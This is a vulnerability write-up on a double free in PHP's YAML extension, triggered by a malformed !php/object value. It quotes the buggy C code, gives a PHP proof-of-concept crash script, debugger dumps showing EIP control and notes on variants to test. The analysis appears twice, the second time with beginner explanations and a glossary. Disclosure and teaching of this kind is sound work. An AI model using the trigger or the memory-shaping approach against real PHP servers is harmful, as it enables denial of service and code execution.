PHP yaml_parse/yaml_parse_file/yaml_parse_url Double Free
The PHP YAML parsing functions free an internal unserialisation structure twice when a crafted YAML document contains an invalid !php/object value. An attacker could crash the process and potentially control execution flow.
Originally disclosed on HackerOne
- Fixed in 51 days
- Paid in 51 days
- Disclosed after 8 days
https://bugs.php.net/bug.php?id=69616
Description:
The yaml_* parsing functions suffers from an exploitable double free caused by the error path for the php_var_unserialize() call on line 797 of pecl/file_formats/yaml.git/parse.c:
if (IS_NOT_IMPLICIT_AND_TAG_IS(event, YAML_PHP_TAG)) {
const unsigned char *p;
php_unserialize_data_t var_hash;
p = (const unsigned char *) value;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(
&retval, &p, p + (int) length, &var_hash TSRMLS_CC)) {
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First free
php_error_docref(NULL TSRMLS_CC, E_NOTICE,
"Failed to unserialize class");
/* return the serialized string directly */
ZVAL_STRINGL(retval, value, length, 1);
}
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second free
return retval;
}
Should php_var_unserialize return false, var_hash is immediately freed via PHP_VAR_UNSERIALIZE_DESTROY, and then freed once more prior to the function returning. This code path can be forced by crafting a YAML document that contains an invalid !php/object value. An example is as follows:
<?php
$yaml = <<<YAML
a: !php/object O:0:1
b: !php/object
YAML;
yaml_parse($yaml);
?>
And it produces the following crash:
eax=00000000 ebx=55a0b760 ecx=02fc9e58 edx=000a0d08 esi=015c41f8 edi=02deedc8
eip=55a0b7dc esp=014ce1d0 ebp=00000000 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
php5ts!_efree+0x7c:
55a0b7dc 8b043a mov eax,dword ptr [edx+edi] ds:002b:02e8fad0=??????
??
0:000> k
ChildEBP RetAddr
014ce1d8 55b9d92c php5ts!_efree+0x7c
014ce1ec 613b45bd php5ts!var_destroy+0x1c
014ce25c 613b50fb php_yaml!eval_scalar+0x60d
014ce2ac 613b4a38 php_yaml!handle_scalar+0x2b
014ce2c8 613b4d09 php_yaml!get_next_element+0xb8
014ce384 613b4a16 php_yaml!handle_mapping+0x159
014ce3a0 613b4afe php_yaml!get_next_element+0x96
014ce3c4 613b3f33 php_yaml!handle_document+0x5e
014ce3e4 613b5f37 php_yaml!php_yaml_read_partial+0x93
014ce560 559e8721 php_yaml!zif_yaml_parse+0x177
014ce5c4 559e7de8 php5ts!zend_do_fcall_common_helper_SPEC+0x161
014ce600 559d33ea php5ts!execute_ex+0x378
014ce628 559d31ab php5ts!zend_execute+0x1ca
014ce65c 559d3694 php5ts!zend_execute_scripts+0x14b
014ce86c 770c9580 php5ts!php_execute_script+0x1b4
014ce8c4 76b9a3fa ntdll!RtlInitializeCriticalSectionEx+0xc2
014ce8dc 76b9a293 KERNELBASE!BasepInitializeFindFileHandle+0x51
014cecac 76b9a293 KERNELBASE!FindFirstFileExW+0x347
014cefb4 76bc39cc KERNELBASE!FindFirstFileExW+0x347
014cf25c 770eb1b7 KERNELBASE!FindFirstFileA+0x6c
014cf29c 770c8891 ntdll!LdrpApplyLookupReference+0x1e
014cf354 770c8c78 ntdll!RtlWow64EnableFsRedirectionEx+0x51
014cf4c4 770c9493 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x2d8
014cf528 770c8092 ntdll!LdrpApplyFileNameRedirection+0x96
014cf5fc 770d4d3e ntdll!_SEH_epilog4_GS+0xa
014cf640 00000000 ntdll!LdrpGetProcedureAddress+0x3d
Further, the document can be leveraged to manipulate the layout of memory, allowing for EIP control after the double free has occurred, and thus arbitrary code execution. An example that triggers a DEP access violation can be found here: http://autosectools.com/YamlDoubleFreeDepAV.txt
And it produces the following exploitable crash:
0:000> r
eax=b6072cb5 ebx=00000000 ecx=55fc7ce0 edx=01564358 esi=02e57450 edi=0155e4b8
eip=b6072cb5 esp=014ce3f0 ebp=014ce45c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
b6072cb5 ?? ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
014ce3ec 55a095a9 0xb6072cb5
014ce40c 55d7bbd0 php5ts!_zval_copy_ctor_func+0x139
00000000 00000000 php5ts!zend_std_read_property+0x3967e0
To fix this issue, it is recommended that the free be removed from the error path taken when php_var_unserialize() returns false.
Test script:
ReadAV:
<?php
$yaml = <<<YAML
a: !php/object O:0:1
b: !php/object
YAML;
yaml_parse($yaml);
?>
Context
The target here is the PHP YAML extension, the yaml_* family of functions that parse YAML documents from a string, a file or a URL. The extension is built on libyaml and exposes PHP-specific tags such as !php/object, which lets a YAML document carry a serialised PHP value that the extension unserialises while parsing. The bug is in the error path of that unserialisation step, in pecl/file_formats/yaml.git/parse.c.
Setup
The report does not describe a particular environment beyond the crash dumps, which show a Windows build of PHP 5 (php5ts, php_yaml). The only precondition is that the YAML extension is loaded and that the parser is asked to handle a !php/object tag whose value is not valid serialised data.
Finding it
The researcher looked at the code that handles the YAML_PHP_TAG case in eval_scalar, around line 797 of parse.c:
if (IS_NOT_IMPLICIT_AND_TAG_IS(event, YAML_PHP_TAG)) {
const unsigned char *p;
php_unserialize_data_t var_hash;
p = (const unsigned char *) value;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(
&retval, &p, p + (int) length, &var_hash TSRMLS_CC)) {
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First free
php_error_docref(NULL TSRMLS_CC, E_NOTICE,
"Failed to unserialize class");
/* return the serialized string directly */
ZVAL_STRINGL(retval, value, length, 1);
}
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second free
return retval;
}
When php_var_unserialize() succeeds, var_hash is destroyed once, after the if block. When it fails, the error branch destroys var_hash and then falls through to the unconditional destroy below, so the same structure is freed twice. That is the whole defect: a double free reachable from a parse error.
Exploitation
Step 1: force the error path with an invalid !php/object value
The error branch runs whenever php_var_unserialize() returns false, which happens when the value attached to a !php/object tag is not valid serialised data. The researcher's minimal document does exactly that:
<?php
$yaml = <<<YAML
a: !php/object O:0:1
b: !php/object
YAML;
yaml_parse($yaml);
?>
The first mapping value is a truncated serialised object (O:0:1), which cannot be unserialised, so the failure branch is taken and var_hash is freed there. The second !php/object entry is empty.
Step 2: observe the crash
Running the script produces an access violation inside the allocator's free routine:
eax=00000000 ebx=55a0b760 ecx=02fc9e58 edx=000a0d08 esi=015c41f8 edi=02deedc8
eip=55a0b7dc esp=014ce1d0 ebp=00000000 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
php5ts!_efree+0x7c:
55a0b7dc 8b043a mov eax,dword ptr [edx+edi] ds:002b:02e8fad0=??????
??
0:000> k
ChildEBP RetAddr
014ce1d8 55b9d92c php5ts!_efree+0x7c
014ce1ec 613b45bd php5ts!var_destroy+0x1c
014ce25c 613b50fb php_yaml!eval_scalar+0x60d
014ce2ac 613b4a38 php_yaml!handle_scalar+0x2b
014ce2c8 613b4d09 php_yaml!get_next_element+0xb8
014ce384 613b4a16 php_yaml!handle_mapping+0x159
014ce3a0 613b4afe php_yaml!get_next_element+0x96
014ce3c4 613b3f33 php_yaml!handle_document+0x5e
014ce3e4 613b5f37 php_yaml!php_yaml_read_partial+0x93
014ce560 559e8721 php_yaml!zif_yaml_parse+0x177
014ce5c4 559e7de8 php5ts!zend_do_fcall_common_helper_SPEC+0x161
014ce600 559d33ea php5ts!execute_ex+0x378
014ce628 559d31ab php5ts!zend_execute+0x1ca
014ce65c 559d3694 php5ts!zend_execute_scripts+0x14b
014ce86c 770c9580 php5ts!php_execute_script+0x1b4
014ce8c4 76b9a3fa ntdll!RtlInitializeCriticalSectionEx+0xc2
014ce8dc 76b9a293 KERNELBASE!BasepInitializeFindFileHandle+0x51
014cecac 76b9a293 KERNELBASE!FindFirstFileExW+0x347
014cefb4 76bc39cc KERNELBASE!FindFirstFileExW+0x347
014cf25c 770eb1b7 KERNELBASE!FindFirstFileA+0x6c
014cf29c 770c8891 ntdll!LdrpApplyLookupReference+0x1e
014cf354 770c8c78 ntdll!RtlWow64EnableFsRedirectionEx+0x51
014cf4c4 770c9493 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x2d8
014cf528 770c8092 ntdll!LdrpApplyFileNameRedirection+0x96
014cf5fc 770d4d3e ntdll!_SEH_epilog4_GS+0xa
014cf640 00000000 ntdll!LdrpGetProcedureAddress+0x3d
The stack shows the second free coming from var_destroy, called from eval_scalar in php_yaml, reached through handle_scalar, get_next_element, handle_mapping and handle_document from zif_yaml_parse. The faulting instruction is a read of a pointer that has already been freed.
Step 3: turn the double free into control of execution
The researcher states that the document can be used to manipulate the layout of memory, so that after the double free the instruction pointer can be controlled and arbitrary code executed. The proof is a second document, published at http://autosectools.com/YamlDoubleFreeDepAV.txt, which triggers a DEP access violation:
Here eip is b6072cb5, an address that is not in any loaded module, and the debugger warns that the frame pointer is not in a known module. That is the signature of a corrupted control flow: the freed memory has been reused with attacker-influenced content, and the engine jumps to it. The exact contents of the DEP document are not reproduced in the report; only its location is given.
Root cause
The error branch of the YAML_PHP_TAG case calls PHP_VAR_UNSERIALIZE_DESTROY(var_hash) and then execution continues to the unconditional PHP_VAR_UNSERIALIZE_DESTROY(var_hash) before return retval. The same var_hash is therefore destroyed twice on the failure path. The success path is fine because only the second destroy runs. Nothing in the code distinguishes the two paths after the error branch, so the double free is deterministic whenever unserialisation fails.
Impact
An attacker who can get a YAML document parsed by a vulnerable build can trigger the double free with a malformed !php/object value. The researcher reports that the same document can be shaped to manipulate memory layout and gain EIP control, leading to arbitrary code execution. The practical reach depends on where the application accepts YAML from untrusted input and whether the !php/object tag is processed; the report does not enumerate those conditions beyond the parsing functions themselves.
Fix
The recommendation in the report is to remove the free from the error path taken when php_var_unserialize() returns false, leaving the single unconditional PHP_VAR_UNSERIALIZE_DESTROY(var_hash) to run once on both paths.
Variants to test
- Other
yaml_*entry points. The report demonstrates the crash throughyaml_parse. Try the same malformed!php/objectdocument through each; a positive result is the same crash in_efreewithvar_destroyin the stack. - Different malformed serialised values. The report uses
O:0:1and an empty value. Any value that makesphp_var_unserialize()fail should reach the same branch; a positive result is a crash rather than a cleanE_NOTICEabout failing to unserialise the class. - Memory-shaping documents. The researcher's DEP document shows that the freed chunk can be reused to redirect
eip. On a target build, a positive result is aneipoutside any loaded module, as in the second dump.
Hunting notes
This kind of bug hides in error-handling paths of parsers and deserialisers, especially where cleanup is written twice: once inside the failure branch and once on the common exit. When reviewing C extensions or any code that wraps php_var_unserialize, look for a DESTROY or free inside an if (!...) block that is followed by the same call before the function returns. During recon, the signal is a feature that accepts YAML, serialised objects or other structured input from users and passes it to a native parser. The researcher showed impact by moving from a plain crash to a DEP access violation with eip pointing outside any known module.
What happened, in plain words
PHP is a programming language often used to build websites. It can be extended with extra modules, and one of those modules lets a PHP program read YAML. YAML is a plain-text format for structured data, a bit like a shopping list where items can sit under headings and sub-items. The module in question is called the YAML extension, and it provides functions whose names start with yaml_, such as yaml_parse, yaml_parse_file and yaml_parse_url. Those three read a YAML document from a piece of text, from a file, or from a web address respectively.
The extension is built on top of a separate library called libyaml, which does the actual reading of the YAML text. On top of that, the extension adds some PHP-specific extras, called tags. One of them is !php/object. When a YAML document marks a value with that tag, the extension treats the value as a serialised PHP value and turns it back into a live PHP object while it is parsing. Serialising means turning a live object into a string of text so it can be stored or sent; unserialising is the reverse, rebuilding the object from that text.
The bug sits in the part of the code that runs when that rebuilding step fails. The code frees a small internal bookkeeping structure twice instead of once. Freeing the same piece of memory twice is called a double free, and it is dangerous because the memory can be handed out again in between, so the second free corrupts whatever now lives there. The researcher showed that a malformed YAML document can trigger this, that it crashes PHP, and that the document can be shaped to control the instruction pointer and allow arbitrary code execution.
Context
The target is the PHP YAML extension, the yaml_* family of functions that parse YAML documents from a string, a file or a URL. The extension is built on libyaml and exposes PHP-specific tags such as !php/object, which lets a YAML document carry a serialised PHP value that the extension unserialises while parsing. The bug is in the error path of that unserialisation step, in pecl/file_formats/yaml.git/parse.c.
A few words on the pieces here. A function is a named block of code that a program calls to do a job; yaml_parse is the function that takes YAML text and returns the data it describes. A tag is a short marker in a document that tells the parser to treat the following value in a special way. An error path is the branch of code that runs when something goes wrong, as opposed to the normal path that runs when everything succeeds. And parse.c is simply the name of the source file inside the extension where the parsing code lives.
Setup
The report does not describe a particular environment beyond the crash dumps, which show a Windows build of PHP 5 (php5ts, php_yaml). The only precondition is that the YAML extension is loaded and that the parser is asked to handle a !php/object tag whose value is not valid serialised data.
A crash dump is a snapshot of a program's state at the moment it fails, usually captured by a debugger, a tool that lets you pause a program and inspect it. php5ts and php_yaml are the names of the two compiled pieces involved: the PHP engine itself and the YAML extension. "Loaded" means the extension is switched on in the PHP installation, so its functions are available to any script.
Finding it
The researcher looked at the code that handles the YAML_PHP_TAG case in eval_scalar, around line 797 of parse.c:
if (IS_NOT_IMPLICIT_AND_TAG_IS(event, YAML_PHP_TAG)) {
const unsigned char *p;
php_unserialize_data_t var_hash;
p = (const unsigned char *) value;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(
&retval, &p, p + (int) length, &var_hash TSRMLS_CC)) {
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First free
php_error_docref(NULL TSRMLS_CC, E_NOTICE,
"Failed to unserialize class");
/* return the serialized string directly */
ZVAL_STRINGL(retval, value, length, 1);
}
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second free
return retval;
}
Line by line, in plain words:
if (IS_NOT_IMPLICIT_AND_TAG_IS(event, YAML_PHP_TAG)) {opens a block that only runs when the value being read carries the!php/objecttag. In other words, this is the code that handles the special PHP object tag.const unsigned char *p;declares a pointer, which is a variable that holds a memory address rather than a value.pwill be used to walk through the text.php_unserialize_data_t var_hash;declares a small structure that the unserialiser uses to keep track of what it has built so far. Think of it as a clipboard the unserialiser writes notes on while it works.p = (const unsigned char *) value;pointspat the start of the text that came with the tag.PHP_VAR_UNSERIALIZE_INIT(var_hash);sets the clipboard up, ready for use.if (!php_var_unserialize(starts the actual unserialise attempt. The!means "if this returns false", that is, if the attempt fails. The call is given the place to store the result (&retval), the pointerp, the end of the text (p + (int) length), and the clipboard.PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First freeis the cleanup for the failure case. It releases the clipboard. The arrows are the researcher's annotation marking this as the first free.php_error_docref(NULL TSRMLS_CC, E_NOTICE,and"Failed to unserialize class");record a notice in the PHP error log saying the class could not be unserialised. A notice is a low-severity message, not a fatal error./* return the serialized string directly */is a comment explaining the next line.}closes the failure branch.PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second freeis the cleanup that runs on the way out, whether the attempt succeeded or failed. The researcher marks it as the second free.return retval;hands the result back to the caller.}closes the tag-handling block.
When php_var_unserialize() succeeds, var_hash is destroyed once, after the if block. When it fails, the error branch destroys var_hash and then falls through to the unconditional destroy below, so the same structure is freed twice. That is the whole defect: a double free reachable from a parse error.
To picture a double free, imagine borrowing a hotel room key, checking out and handing the key back, then handing the same key back a second time. If a new guest has been given that room in the meantime, the second hand-back muddles the front desk's records about who has the room. In memory terms, the allocator, the part of the program that hands out and reclaims memory, keeps a record of which blocks are free. Freeing a block twice corrupts that record, and later allocations can end up overlapping or pointing at the wrong place.
Exploitation
Step 1: force the error path with an invalid !php/object value
The error branch runs whenever php_var_unserialize() returns false, which happens when the value attached to a !php/object tag is not valid serialised data. The researcher's minimal document does exactly that:
<?php
$yaml = <<<YAML
a: !php/object O:0:1
b: !php/object
YAML;
yaml_parse($yaml);
?>
Line by line:
<?phpopens a PHP code block.$yaml = <<<YAMLstarts a heredoc, a way of writing a long multi-line string in PHP. Everything up to the closing marker becomes the value of the variable$yaml.a: !php/object O:0:1is the first line of the YAML document.ais a key, and its value is tagged!php/object. The text after the tag,O:0:1, is a truncated piece of serialised data: it looks like the start of an object but is incomplete, so it cannot be unserialised. This is what forces the failure branch.b: !php/objectis a second key whose tagged value is empty. The second key's tagged value is empty.- The blank lines and
YAML;close the heredoc. yaml_parse($yaml);calls the parsing function on the document, which is where the double free happens.?>closes the PHP block.
Why this step: the goal is to reach the failure branch deliberately. A well-formed serialised value would take the success path, where only one free happens and nothing goes wrong. A broken value is the simplest way to make the code take the path with the extra free.
Step 2: observe the crash
Running the script produces an access violation inside the allocator's free routine:
eax=00000000 ebx=55a0b760 ecx=02fc9e58 edx=000a0d08 esi=015c41f8 edi=02deedc8
eip=55a0b7dc esp=014ce1d0 ebp=00000000 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
php5ts!_efree+0x7c:
55a0b7dc 8b043a mov eax,dword ptr [edx+edi] ds:002b:02e8fad0=??????
??
0:000> k
ChildEBP RetAddr
014ce1d8 55b9d92c php5ts!_efree+0x7c
014ce1ec 613b45bd php5ts!var_destroy+0x1c
014ce25c 613b50fb php_yaml!eval_scalar+0x60d
014ce2ac 613b4a38 php_yaml!handle_scalar+0x2b
014ce2c8 613b4d09 php_yaml!get_next_element+0xb8
014ce384 613b4a16 php_yaml!handle_mapping+0x159
014ce3a0 613b4afe php_yaml!get_next_element+0x96
014ce3c4 613b3f33 php_yaml!handle_document+0x5e
014ce3e4 613b5f37 php_yaml!php_yaml_read_partial+0x93
014ce560 559e8721 php_yaml!zif_yaml_parse+0x177
014ce5c4 559e7de8 php5ts!zend_do_fcall_common_helper_SPEC+0x161
014ce600 559d33ea php5ts!execute_ex+0x378
014ce628 559d31ab php5ts!zend_execute+0x1ca
014ce65c 559d3694 php5ts!zend_execute_scripts+0x14b
014ce86c 770c9580 php5ts!php_execute_script+0x1b4
014ce8c4 76b9a3fa ntdll!RtlInitializeCriticalSectionEx+0xc2
014ce8dc 76b9a293 KERNELBASE!BasepInitializeFindFileHandle+0x51
014cecac 76b9a293 KERNELBASE!FindFirstFileExW+0x347
014cefb4 76bc39cc KERNELBASE!FindFirstFileExW+0x347
014cf25c 770eb1b7 KERNELBASE!FindFirstFileA+0x6c
014cf29c 770c8891 ntdll!LdrpApplyLookupReference+0x1e
014cf354 770c8c78 ntdll!RtlWow64EnableFsRedirectionEx+0x51
014cf4c4 770c9493 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x2d8
014cf528 770c8092 ntdll!LdrpApplyFileNameRedirection+0x96
014cf5fc 770d4d3e ntdll!_SEH_epilog4_GS+0xa
014cf640 00000000 ntdll!LdrpGetProcedureAddress+0x3d
What this output is: the first block is the state of the processor's registers, the small storage slots inside the CPU. eip is the instruction pointer, the address of the instruction the CPU was about to run; here it is 55a0b7dc, inside a function called _efree, which is the routine that frees memory. The line under it shows the instruction at that address, a mov that reads from memory at 02e8fad0, and the ?????? means the debugger could not read that memory. That is the access violation: the code tried to read a pointer that had already been freed.
The second block, after 0:000> k, is a stack trace. The stack is the list of function calls that led to the current point, newest at the top. Read from the top down, it says: the crash happened in _efree; it was called by var_destroy; that was called by eval_scalar in php_yaml; which was reached through handle_scalar, get_next_element, handle_mapping and handle_document; which came from php_yaml_read_partial and zif_yaml_parse; and below that the ordinary PHP engine machinery that ran the script. In short, the second free comes from var_destroy, called from eval_scalar in php_yaml, reached through the YAML parsing functions from zif_yaml_parse. The faulting instruction is a read of a pointer that has already been freed.
Step 3: turn the double free into control of execution
The researcher states that the document can be used to manipulate the layout of memory, so that after the double free the instruction pointer can be controlled and arbitrary code executed. The proof is a second document, published at http://autosectools.com/YamlDoubleFreeDepAV.txt, which triggers a DEP access violation:
0:000> r
eax=b6072cb5 ebx=00000000 ecx=55fc7ce0 edx=01564358 esi=02e57450 edi=0155e4b8
eip=b6072cb5 esp=014ce3f0 ebp=014ce45c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
b6072cb5 ?? ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
014ce3ec 55a095a9 0xb6072cb5
014ce40c 55d7bbd0 php5ts!_zval_copy_ctor_func+0x139
00000000 00000000 php5ts!zend_std_read_property+0x3967e0
What this output is: 0:000> r is the debugger command to print the registers, and the lines after it are their values. eip is b6072cb5, an address that is not in any loaded module, and the debugger warns that the frame pointer is not in a known module. That is the signature of a corrupted control flow: the freed memory has been reused with attacker-influenced content, and the engine jumps to it. The exact contents of the DEP document are not reproduced in the report; only its location is given.
Two terms here. DEP stands for Data Execution Prevention, a protection built into modern processors and operating systems that marks certain areas of memory as data only, so the CPU refuses to run code placed there. An access violation is the error raised when a program touches memory it is not allowed to touch. The point of this second dump is that the crash is no longer a simple free of bad memory: the instruction pointer itself has been redirected to an address outside any known module, which is the first step towards running arbitrary code.
Root cause
The error branch of the YAML_PHP_TAG case calls PHP_VAR_UNSERIALIZE_DESTROY(var_hash) and then execution continues to the unconditional PHP_VAR_UNSERIALIZE_DESTROY(var_hash) before return retval. The same var_hash is therefore destroyed twice on the failure path. The success path is fine because only the second destroy runs. Nothing in the code distinguishes the two paths after the error branch, so the double free is deterministic whenever unserialisation fails.
"Deterministic" means it happens every time, not just occasionally: any input that makes unserialisation fail will take the same route through the code and free the same structure twice.
Impact
An attacker who can get a YAML document parsed by a vulnerable build can trigger the double free with a malformed !php/object value. The researcher reports that the same document can be shaped to manipulate memory layout and gain EIP control, leading to arbitrary code execution. The practical reach depends on where the application accepts YAML from untrusted input and whether the !php/object tag is processed; the report does not enumerate those conditions beyond the parsing functions themselves.
In everyday terms: if a website lets visitors supply YAML that it then parses with this extension, a visitor can send a document like the one above. At minimum that crashes the parser. With more effort, the researcher says, it can be turned into running the attacker's own code on the server. "Arbitrary code execution" means exactly that: the attacker gets to choose what the machine runs, rather than just breaking it.
Fix
The recommendation in the report is to remove the free from the error path taken when php_var_unserialize() returns false, leaving the single unconditional PHP_VAR_UNSERIALIZE_DESTROY(var_hash) to run once on both paths.
In other words, the cleanup should happen in one place only, on the way out, so that success and failure both free the clipboard exactly once.
Variants to test
- Other
yaml_*entry points. The report demonstrates the crash throughyaml_parse. Try the same malformed!php/objectdocument through each; a positive result is the same crash in_efreewithvar_destroyin the stack. - Different malformed serialised values. The report uses
O:0:1and an empty value. Any value that makesphp_var_unserialize()fail should reach the same branch; a positive result is a crash rather than a cleanE_NOTICEabout failing to unserialise the class. - Memory-shaping documents. The researcher's DEP document shows that the freed chunk can be reused to redirect
eip. On a target build, a positive result is aneipoutside any loaded module, as in the second dump.
An entry point is simply a function a program can call from outside to start some work; here, the three yaml_* functions are three different doors into the same parser. A chunk is one block of memory handed out by the allocator. Memory shaping means arranging earlier allocations and frees so that the reused block contains values the attacker chose.
Hunting notes
This kind of bug hides in error-handling paths of parsers and deserialisers, especially where cleanup is written twice: once inside the failure branch and once on the common exit. When reviewing C extensions or any code that wraps php_var_unserialize, look for a DESTROY or free inside an if (!...) block that is followed by the same call before the function returns. During recon, the signal is a feature that accepts YAML, serialised objects or other structured input from users and passes it to a native parser. The researcher showed impact by moving from a plain crash to a DEP access violation with eip pointing outside any known module.
Recon here means the early survey of a target to spot features worth testing. A denial of service is an attack that only makes a service unavailable, for example by crashing it; the researcher's point is that this bug goes further than that.
Glossary
- PHP: a programming language widely used for building websites and web applications.
- Extension: an add-on module that gives PHP extra functions, such as the YAML extension.
- YAML: a plain-text format for structured data, using indentation and key/value pairs.
yaml_*functions: the family of functions the YAML extension provides, includingyaml_parse,yaml_parse_fileandyaml_parse_url.- libyaml: the separate library that does the low-level reading of YAML text.
- Tag: a short marker in a document that tells the parser to treat a value specially, such as
!php/object. - Serialise / unserialise: turn a live object into text, and rebuild it from that text.
!php/object: a PHP-specific YAML tag whose value is treated as serialised PHP data and unserialised during parsing.- Function: a named block of code that a program calls to do a job.
- Error path: the branch of code that runs when something fails, as opposed to the normal success path.
parse.c: the source file in the YAML extension that contains the parsing code.- Pointer: a variable that holds a memory address rather than a value.
- Structure: a bundle of related variables grouped together in C code.
var_hash: the small bookkeeping structure the unserialiser uses while it works.- Free: release a block of memory back to the allocator so it can be reused.
- Double free: freeing the same block of memory twice, which corrupts the allocator's records.
- Allocator: the part of the program that hands out and reclaims memory.
- Crash dump: a snapshot of a program's state at the moment it fails, usually captured by a debugger.
- Debugger: a tool that lets you pause a program and inspect its state.
- Register: a small storage slot inside the CPU.
eip: the instruction pointer register, holding the address of the instruction the CPU is about to run.- Access violation: the error raised when a program touches memory it is not allowed to touch.
- Stack trace: the list of function calls that led to the current point, newest at the top.
- Heredoc: a PHP syntax for writing a long multi-line string.
- DEP: Data Execution Prevention, a protection that marks certain memory as data only so the CPU will not run code placed there.
- Arbitrary code execution: the attacker gets to choose what the machine runs.
- Deterministic: happens every time for the same kind of input, not just occasionally.
- Entry point: a function a program can call from outside to start some work.
- Chunk: one block of memory handed out by the allocator.
- Memory shaping: arranging earlier allocations and frees so that a reused block contains values the attacker chose.
- Recon: the early survey of a target to spot features worth testing.
- Denial of service: an attack that only makes a service unavailable, for example by crashing it.
E_NOTICE: a low-severity PHP message written to the error log, not a fatal error.